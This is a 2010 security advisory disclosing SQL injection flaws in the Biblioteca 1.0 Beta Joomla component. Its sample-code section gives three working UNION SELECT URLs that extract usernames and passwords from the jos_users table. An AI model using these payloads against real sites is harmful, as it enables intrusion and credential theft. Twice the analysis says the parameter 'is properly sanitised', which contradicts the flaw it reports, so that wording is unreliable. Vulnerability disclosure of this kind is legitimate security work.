Biblioteca 1.0 Beta Joomla Component Multiple SQL Injection Vulnerabilities
Name Biblioteca
Vendor http://www.cielostellato.info
Versions Affected 1.0 Beta
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-08-21
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
Component that allows the automatic management of a
library in electronic format. It' can manage books and
their loans through an attractive graphical user
interface simple and usable.
II. DESCRIPTION
_______________
This component doesn't use the common Joomla's functions
to get the parameters's value from GET, POST etc.. and
all of these are not properly sanitised before being
used in SQL queries.
III. ANALYSIS
_____________
Summary:
A) Multiple Blind SQL Injection
B) Multiple SQL Injection
A) Multiple Blind SQL Injection
_______________________________
The parameter testo passed to bi.php (site and admin
frontends) is properly sanitised before being used in a
SQL query.This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code.
B) Multiple SQL Injection
_________________________
The parameter testo passed to stampa.php, pdf.php and
models/biblioteca.php (when "view" is set to "biblioteca"
) is properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.
IV. SAMPLE CODE
_______________
A) Multiple SQL Injection
http://host/path/components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
http://host/path/components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
http://host/path/index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
V. FIX
______
No fix.
